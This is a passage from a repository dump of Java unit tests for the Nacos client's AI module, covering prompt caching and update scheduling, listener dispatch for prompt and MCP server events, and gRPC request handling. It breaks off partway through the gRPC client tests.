    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.cache;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.ai.event.PromptChangedEvent;\nimport com.alibaba.nacos.client.ai.remote.AiClientProxy;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosPromptCacheHolderTest {\n    \n    @Mock\n    private AiClientProxy aiClientProxy;\n    \n    private NacosPromptCacheHolder cacheHolder;\n    \n    @BeforeEach\n    void setUp() {\n        Properties properties = new Properties();\n        properties.put(AiConstants.AI_PROMPT_CACHE_UPDATE_INTERVAL, \"100\");\n        cacheHolder = new NacosPromptCacheHolder(aiClientProxy, NacosClientProperties.PROTOTYPE.derive(properties));\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        cacheHolder.shutdown();\n        NotifyCenter.deregisterPublisher(PromptChangedEvent.class);\n    }\n    \n    @Test\n    void subscribePromptShouldReturnNullAndScheduleWhenNotFound() throws Exception {\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, null))\n                .thenThrow(new NacosException(NacosException.NOT_FOUND, \"not found\"));\n        \n        Prompt result = cacheHolder.subscribePrompt(\"p1\", \"1.0.0\", null);\n        \n        assertNull(result);\n        assertEquals(1, getUpdateTaskMap().size());\n    }\n    \n    @Test\n    void subscribePromptShouldCacheAndPublishEventWhenFound() throws Exception {\n        Prompt prompt = new Prompt(\"p1\", \"1.0.0\", \"v1\");\n        prompt.setMd5(\"m1\");\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, null)).thenReturn(prompt);\n        MockPromptEventSubscriber subscriber = new MockPromptEventSubscriber();\n        NotifyCenter.registerSubscriber(subscriber);\n        \n        cacheHolder.subscribePrompt(\"p1\", \"1.0.0\", null);\n        \n        assertNotNull(getPromptCache().get(\"p1::version:1.0.0\"));\n        waitForSubscriber(subscriber);\n        assertTrue(subscriber.invokedMark.get());\n    }\n    \n    @Test\n    void updaterShouldIgnoreWhenNotModified() throws Exception {\n        Prompt prompt = new Prompt(\"p1\", \"1.0.0\", \"v1\");\n        prompt.setMd5(\"m1\");\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, null)).thenReturn(prompt);\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, \"m1\"))\n                .thenThrow(new NacosException(NacosException.NOT_MODIFIED, \"up to date\"));\n        cacheHolder.subscribePrompt(\"p1\", \"1.0.0\", null);\n        MockPromptEventSubscriber subscriber = new MockPromptEventSubscriber();\n        NotifyCenter.registerSubscriber(subscriber);\n        \n        Runnable updater = getOnlyUpdater();\n        updater.run();\n        TimeUnit.MILLISECONDS.sleep(50);\n        \n        assertEquals(\"v1\", getPromptCache().get(\"p1::version:1.0.0\").getTemplate());\n        assertTrue(!subscriber.invokedMark.get());\n    }\n    \n    @Test\n    void updaterShouldEvictAndPublishNullEventWhenNotFound() throws Exception {\n        Prompt prompt = new Prompt(\"p1\", \"1.0.0\", \"v1\");\n        prompt.setMd5(\"m1\");\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, null)).thenReturn(prompt);\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, \"m1\"))\n                .thenThrow(new NacosException(NacosException.NOT_FOUND, \"not found\"));\n        cacheHolder.subscribePrompt(\"p1\", \"1.0.0\", null);\n        MockPromptEventSubscriber subscriber = new MockPromptEventSubscriber();\n        NotifyCenter.registerSubscriber(subscriber);\n        \n        Runnable updater = getOnlyUpdater();\n        updater.run();\n        \n        assertNull(getPromptCache().get(\"p1::version:1.0.0\"));\n        waitForSubscriber(subscriber);\n        assertTrue(subscriber.invokedMark.get());\n    }\n    \n    @Test\n    void unsubscribePromptShouldCancelTaskAndRemoveCache() throws Exception {\n        Prompt prompt = new Prompt(\"p1\", \"1.0.0\", \"v1\");\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, null)).thenReturn(prompt);\n        cacheHolder.subscribePrompt(\"p1\", \"1.0.0\", null);\n        \n        cacheHolder.unsubscribePrompt(\"p1\", \"1.0.0\", null);\n        \n        assertTrue(getUpdateTaskMap().isEmpty());\n        assertTrue(getPromptCache().isEmpty());\n        verify(aiClientProxy, never()).queryPrompt(\"p1\", null, null, null);\n    }\n    \n    @Test\n    void subscribePromptShouldThrowWhenUnexpectedException() throws Exception {\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, null))\n                .thenThrow(new NacosException(NacosException.SERVER_ERROR, \"server error\"));\n        \n        org.junit.jupiter.api.Assertions.assertThrows(NacosException.class,\n                () -> cacheHolder.subscribePrompt(\"p1\", \"1.0.0\", null));\n    }\n    \n    @Test\n    void updaterShouldIgnoreGeneralExceptionAndKeepCache() throws Exception {\n        Prompt prompt = new Prompt(\"p1\", \"1.0.0\", \"v1\");\n        prompt.setMd5(\"m1\");\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, null)).thenReturn(prompt);\n        when(aiClientProxy.queryPrompt(\"p1\", \"1.0.0\", null, \"m1\"))\n                .thenThrow(new NacosException(NacosException.SERVER_ERROR, \"server error\"));\n        cacheHolder.subscribePrompt(\"p1\", \"1.0.0\", null);\n        \n        Runnable updater = getOnlyUpdater();\n        updater.run();\n        \n        assertNotNull(getPromptCache().get(\"p1::version:1.0.0\"));\n        assertEquals(1, getUpdateTaskMap().size());\n    }\n    \n    @SuppressWarnings(\"unchecked\")\n    private Map<String, Prompt> getPromptCache() throws Exception {\n        Field field = NacosPromptCacheHolder.class.getDeclaredField(\"promptCache\");\n        field.setAccessible(true);\n        return (Map<String, Prompt>) field.get(cacheHolder);\n    }\n    \n    @SuppressWarnings(\"unchecked\")\n    private Map<String, Object> getUpdateTaskMap() throws Exception {\n        Field field = NacosPromptCacheHolder.class.getDeclaredField(\"updateTaskMap\");\n        field.setAccessible(true);\n        return (Map<String, Object>) field.get(cacheHolder);\n    }\n    \n    private Runnable getOnlyUpdater() throws Exception {\n        Object updater = getUpdateTaskMap().values().iterator().next();\n        return (Runnable) updater;\n    }\n    \n    private void waitForSubscriber(MockPromptEventSubscriber subscriber) throws InterruptedException {\n        for (int i = 0; i < 4; i++) {\n            if (subscriber.invokedMark.get()) {\n                return;\n            }\n            TimeUnit.MILLISECONDS.sleep(200);\n        }\n    }\n    \n    private static class MockPromptEventSubscriber extends Subscriber<PromptChangedEvent> {\n        \n        private final AtomicBoolean invokedMark = new AtomicBoolean(false);\n        \n        @Override\n        public void onEvent(PromptChangedEvent event) {\n            invokedMark.set(true);\n        }\n        \n        @Override\n        public Class<? extends Event> subscribeType() {\n            return PromptChangedEvent.class;\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/event/AiChangeNotifierPromptTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosPromptListener;\nimport com.alibaba.nacos.api.ai.listener.NacosPromptEvent;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AiChangeNotifierPromptTest {\n    \n    @Test\n    void promptEventShouldDispatchByCacheKeyOnly() {\n        AiChangeNotifier notifier = new AiChangeNotifier();\n        AtomicBoolean v1Called = new AtomicBoolean(false);\n        AtomicBoolean v2Called = new AtomicBoolean(false);\n        notifier.registerListener(\"p1\", \"1.0.0\", null, new PromptListenerInvoker(newPromptListener(v1Called)));\n        notifier.registerListener(\"p1\", \"2.0.0\", null, new PromptListenerInvoker(newPromptListener(v2Called)));\n        \n        Prompt prompt = new Prompt();\n        prompt.setPromptKey(\"p1\");\n        notifier.onEvent(new PromptChangedEvent(\"p1\", \"p1::version:1.0.0\", prompt));\n        \n        assertTrue(v1Called.get());\n        assertFalse(v2Called.get());\n    }\n    \n    @Test\n    void deregisterShouldStopDispatchForTargetKey() {\n        AiChangeNotifier notifier = new AiChangeNotifier();\n        AtomicBoolean called = new AtomicBoolean(false);\n        PromptListenerInvoker invoker = new PromptListenerInvoker(newPromptListener(called));\n        notifier.registerListener(\"p1\", null, \"prod\", invoker);\n        notifier.deregisterListener(\"p1\", null, \"prod\", invoker);\n        \n        notifier.onEvent(new PromptChangedEvent(\"p1\", \"p1::label:prod\", new Prompt()));\n        assertFalse(called.get());\n    }\n    \n    @Test\n    void isPromptSubscribedShouldMatchTripleKey() {\n        AiChangeNotifier notifier = new AiChangeNotifier();\n        PromptListenerInvoker invoker = new PromptListenerInvoker(newPromptListener(new AtomicBoolean(false)));\n        notifier.registerListener(\"p1\", null, \"prod\", invoker);\n        \n        assertTrue(notifier.isPromptSubscribed(\"p1\", null, \"prod\"));\n        assertFalse(notifier.isPromptSubscribed(\"p1\", \"1.0.0\", null));\n    }\n    \n    private AbstractNacosPromptListener newPromptListener(AtomicBoolean mark) {\n        return new AbstractNacosPromptListener() {\n            @Override\n            public void onEvent(NacosPromptEvent event) {\n                mark.set(true);\n            }\n        };\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/event/AiChangeNotifierTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosMcpServerListener;\nimport com.alibaba.nacos.api.ai.listener.NacosMcpServerEvent;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mockito;\n\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.verify;\n\nclass AiChangeNotifierTest {\n    \n    AiChangeNotifier changeNotifier;\n    \n    private AtomicBoolean invokedMark;\n    \n    private McpServerDetailInfo mcpServerDetailInfo;\n    \n    @BeforeEach\n    void setUp() {\n        changeNotifier = new AiChangeNotifier();\n        invokedMark = new AtomicBoolean(false);\n        mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(true);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void onEventWithoutListener() {\n        assertDoesNotThrow(() -> changeNotifier.onEvent(new McpServerChangedEvent(mcpServerDetailInfo)));\n    }\n    \n    @Test\n    void onEvent() {\n        AbstractNacosMcpServerListener listener = new AbstractNacosMcpServerListener() {\n            @Override\n            public void onEvent(NacosMcpServerEvent event) {\n                invokedMark.set(true);\n            }\n        };\n        McpServerListenerInvoker invoker = new McpServerListenerInvoker(listener);\n        changeNotifier.registerListener(\"test\", null, invoker);\n        assertDoesNotThrow(() -> changeNotifier.onEvent(new McpServerChangedEvent(mcpServerDetailInfo)));\n        assertTrue(invokedMark.get());\n        assertTrue(invoker.isInvoked());\n    }\n    \n    @Test\n    void onEventNotLatestVersion() {\n        AbstractNacosMcpServerListener listener = new AbstractNacosMcpServerListener() {\n            @Override\n            public void onEvent(NacosMcpServerEvent event) {\n                invokedMark.set(true);\n            }\n        };\n        McpServerListenerInvoker invoker = new McpServerListenerInvoker(listener);\n        changeNotifier.registerListener(\"test\", \"1.0.0\", invoker);\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(false);\n        assertDoesNotThrow(() -> changeNotifier.onEvent(new McpServerChangedEvent(mcpServerDetailInfo)));\n        assertTrue(invokedMark.get());\n        assertTrue(invoker.isInvoked());\n    }\n    \n    @Test\n    void deregisterListener() {\n        AbstractNacosMcpServerListener listener = new AbstractNacosMcpServerListener() {\n            @Override\n            public void onEvent(NacosMcpServerEvent event) {\n                invokedMark.set(true);\n            }\n        };\n        AbstractNacosMcpServerListener listener2 = Mockito.mock(AbstractNacosMcpServerListener.class);\n        McpServerListenerInvoker invoker = new McpServerListenerInvoker(listener);\n        McpServerListenerInvoker invoker2 = new McpServerListenerInvoker(listener2);\n        changeNotifier.registerListener(\"test\", null, invoker);\n        changeNotifier.registerListener(\"test\", null, invoker2);\n        assertDoesNotThrow(() -> changeNotifier.onEvent(new McpServerChangedEvent(mcpServerDetailInfo)));\n        assertTrue(invokedMark.get());\n        assertTrue(invoker.isInvoked());\n        assertTrue(invoker2.isInvoked());\n        verify(listener2).onEvent(any(NacosMcpServerEvent.class));\n        \n        invokedMark.set(false);\n        reset(listener2);\n        changeNotifier.deregisterListener(\"test\", null, invoker2);\n        assertDoesNotThrow(() -> changeNotifier.onEvent(new McpServerChangedEvent(mcpServerDetailInfo)));\n        assertTrue(invokedMark.get());\n        verify(listener2, Mockito.never()).onEvent(any(NacosMcpServerEvent.class));\n        \n        invokedMark.set(false);\n        changeNotifier.deregisterListener(\"test\", null, invoker);\n        assertDoesNotThrow(() -> changeNotifier.onEvent(new McpServerChangedEvent(mcpServerDetailInfo)));\n        assertFalse(invokedMark.get());\n    }\n    \n    @Test\n    void registerNullListener() {\n        changeNotifier.registerListener(\"test\", null, (McpServerListenerInvoker) null);\n        assertFalse(changeNotifier.isMcpServerSubscribed(\"test\", \"\"));\n    }\n    \n    @Test\n    void deregisterNullListener() {\n        changeNotifier.deregisterListener(\"test\", null, (McpServerListenerInvoker) null);\n        assertFalse(changeNotifier.isMcpServerSubscribed(\"test\", \"\"));\n    }\n    \n    @Test\n    void deregisterNonExistedListener() {\n        AbstractNacosMcpServerListener listener = new AbstractNacosMcpServerListener() {\n            @Override\n            public void onEvent(NacosMcpServerEvent event) {\n                invokedMark.set(true);\n            }\n        };\n        McpServerListenerInvoker invoker = new McpServerListenerInvoker(listener);\n        changeNotifier.deregisterListener(\"test\", null, invoker);\n        assertFalse(changeNotifier.isMcpServerSubscribed(\"test\", \"\"));\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/event/McpServerListenerInvokerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosMcpServerListener;\nimport com.alibaba.nacos.api.ai.listener.NacosMcpServerEvent;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.concurrent.Executor;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.doAnswer;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass McpServerListenerInvokerTest {\n    \n    @Mock\n    Executor executor;\n    \n    @Mock\n    AbstractNacosMcpServerListener listener;\n    \n    McpServerListenerInvoker invoker;\n    \n    @BeforeEach\n    void setUp() {\n        invoker = new McpServerListenerInvoker(listener);\n    }\n    \n    @Test\n    void invokerByExecutor() {\n        when(listener.getExecutor()).thenReturn(executor);\n        doAnswer(invocation -> {\n            invocation.getArgument(0, Runnable.class).run();\n            return null;\n        }).when(executor).execute(any(Runnable.class));\n        invoker.invoke(new NacosMcpServerEvent(new McpServerDetailInfo()));\n        verify(executor).execute(any(Runnable.class));\n        verify(listener).onEvent(any(NacosMcpServerEvent.class));\n    }\n    \n    @Test\n    void testEquals() {\n        assertEquals(invoker, invoker);\n        assertNotEquals(invoker, null);\n        assertNotEquals(invoker, new Object());\n        assertEquals(invoker, new McpServerListenerInvoker(listener));\n        assertNotEquals(invoker, new McpServerListenerInvoker(new AbstractNacosMcpServerListener() {\n            @Override\n            public void onEvent(NacosMcpServerEvent event) {\n            }\n        }));\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/remote/AiGrpcClientTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.ai.remote.request.McpServerEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.request.QueryMcpServerRequest;\nimport com.alibaba.nacos.api.ai.remote.request.QueryPromptRequest;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseMcpServerRequest;\nimport com.alibaba.nacos.api.ai.remote.response.McpServerEndpointResponse;\nimport com.alibaba.nacos.api.ai.remote.response.QueryMcpServerResponse;\nimport com.alibaba.nacos.api.ai.remote.response.QueryPromptResponse;\nimport com.alibaba.nacos.api.ai.remote.response.ReleaseMcpServerResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.naming.remote.request.InstanceRequest;\nimport com.alibaba.nacos.api.naming.remote.response.InstanceResponse;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.ai.cache.NacosAgentCardCacheHolder;\nimport com.alibaba.nacos.client.ai.cache.NacosMcpServerCacheHolder;\nimport com.alibaba.nacos.client.ai.remote.redo.AiGrpcRedoService;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertInstanceOf;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AiGrpcClientTest {\n    \n    @Mock\n    private RpcClient rpcClient;\n    \n    @Mock\n    private AbstractServerListManager serverListManager;\n    \n    @Mock\n    private AiGrpcRedoService redoService;\n    \n    @Mock\n    private SecurityProxy securityProxy;\n    \n    @Mock\n    private NacosMcpServerCacheHolder mcpServerCacheHolder;\n    \n    @Mock\n    private NacosAgentCardCacheHolder agentCardCacheHolder;\n    \n    AiGrpcClient aiGrpcClient;\n    \n    @BeforeEach\n    void setUp() {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1\");\n        NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        aiGrpcClient = new AiGrpcClient(\"test\", clientProperties);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        aiGrpcClient.shutdown();\n    }\n    \n    @Test\n    void start() throws NacosException {\n        assertDoesNotThrow(() -> aiGrpcClient.start(mcpServerCacheHolder, agentCardCacheHolder));\n    }\n    \n    @Test\n    void queryMcpServer() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        QueryMcpServerResponse response = new QueryMcpServerResponse();\n        response.setMcpServerDetailInfo(mcpServerDetailInfo);\n        when(rpcClient.request(any(QueryMcpServerRequest.class))).thenReturn(response);\n        McpServerDetailInfo actual = aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\");\n        assertEquals(mcpServerDetailInfo, actual);\n    }\n    \n    @Test\n    void queryMcpServerWithErrorCode() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        Response response = ErrorResponse.build(NacosException.INVALID_PARAM, \"test\");\n        when(rpcClient.request(any(QueryMcpServerRequest.class))).thenReturn(response);\n        assertThrows(NacosException.class, () -> aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\"));\n    }\n    \n    @Test\n    void queryMcpServerWithNoRight() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        Response response = ErrorResponse.build(NacosException.NO_RIGHT, \"test\");\n        when(rpcClient.request(any(QueryMcpServerRequest.class))).thenReturn(response);\n        assertThrows(NacosException.class, () -> aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\"));\n        verify(securityProxy).reLogin();\n    }\n    \n    @Test\n    void queryMcpServerWithUnExpectedResponse() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        ReleaseMcpServerResponse response = new ReleaseMcpServerResponse();\n        when(rpcClient.request(any(QueryMcpServerRequest.class))).thenReturn(response);\n        assertThrows(NacosException.class, () -> aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\"));\n    }\n    \n    @Test\n    void queryMcpServerWithException() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        when(rpcClient.request(any(QueryMcpServerRequest.class))).thenThrow(new RuntimeException(\"test\"));\n        assertThrows(NacosException.class, () -> aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\"));\n    }\n    \n    @Test\n    void queryPromptShouldBuildRequestWithVersionLabelMd5() throws Exception {\n        injectMock();\n        when(securityProxy.getIdentityContext(any())).thenReturn(new HashMap<>());\n        QueryPromptResponse response = new QueryPromptResponse();\n        Prompt prompt = new Prompt();\n        prompt.setPromptKey(\"p1\");\n        prompt.setVersion(\"1.0.0\");\n        response.setPromptInfo(prompt);\n        when(rpcClient.request(any(QueryPromptRequest.class))).thenReturn(response);\n        \n        Prompt actual = aiGrpcClient.queryPrompt(\"p1\", \"1.0.0\", \"prod\", \"m1\");\n        \n        assertEquals(\"p1\", actual.getPromptKey());\n        ArgumentCaptor<QueryPromptRequest> reqCaptor = ArgumentCaptor.forClass(QueryPromptRequest.class);\n        verify(rpcClient).request(reqCaptor.capture());\n        QueryPromptRequest captured = reqCaptor.getValue();\n        assertEquals(\"test\", captured.getNamespaceId());\n        assertEquals(\"p1\", captured.getPromptKey());\n        assertEquals(\"1.0.0\", captured.getVersion());\n        assertEquals(\"prod\", captured.getLabel());\n        assertEquals(\"m1\", captured.getMd5());\n    }\n    \n    @Test\n    void requestToServerShouldInjectSecurityHeaderForPromptRequest() throws Exception {\n        injectMock();\n        Map<String, String> headers = new HashMap<>();\n        headers.put(\"k\", \"v\");\n        when(securityProxy.getIdentityContext(any())).thenReturn(headers);\n        QueryPromptResponse response = new QueryPromptResponse();\n        response.setPromptInfo(new Prompt(\"p1\", \"1.0.0\", \"hello\"));\n        when(rpcClient.request(any(QueryPromptRequest.class))).thenReturn(response);\n        \n        aiGrpcClient.queryPrompt(\"p1\", \"1.0.0\", null, null);\n        \n        verify(securityProxy).getIdentityContext(any());\n        ArgumentCaptor<QueryPromptRequest> reqCaptor = ArgumentCaptor.forClass(QueryPromptRequest.class);\n        verify(rpcClient).request(reqCaptor.capture());\n        assertEquals(\"v\", reqCaptor.getValue().getHeader(\"k\"));\n    }\n    \n    @Test\n    void queryPromptShouldReloginWhen403() throws Exception {\n        injectMock();\n        when(securityProxy.getIdentityContext(any())).thenReturn(new HashMap<>());\n        Response response = ErrorResponse.build(NacosException.NO_RIGHT, \"no right\");\n        when(rpcClient.request(any(QueryPromptRequest.class))).thenReturn(response);\n        \n        assertThrows(NacosException.class, () -> aiGrpcClient.queryPrompt(\"p1\", null, null, null));\n        verify(securityProxy).reLogin();\n    }\n    \n    @Test\n    void queryPromptShouldThrowWhenResponseTypeMismatch() throws Exception {\n        injectMock();\n        when(securityProxy.getIdentityContext(any())).thenReturn(new HashMap<>());\n        QueryMcpServerResponse response = new QueryMcpServerResponse();\n        when(rpcClient.request(any(QueryPromptRequest.class))).thenReturn(response);\n        \n        assertThrows(NacosException.class, () -> aiGrpcClient.queryPrompt(\"p1\", null, null, null));\n    }\n    \n    @Test\n    void releaseMcpServer() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        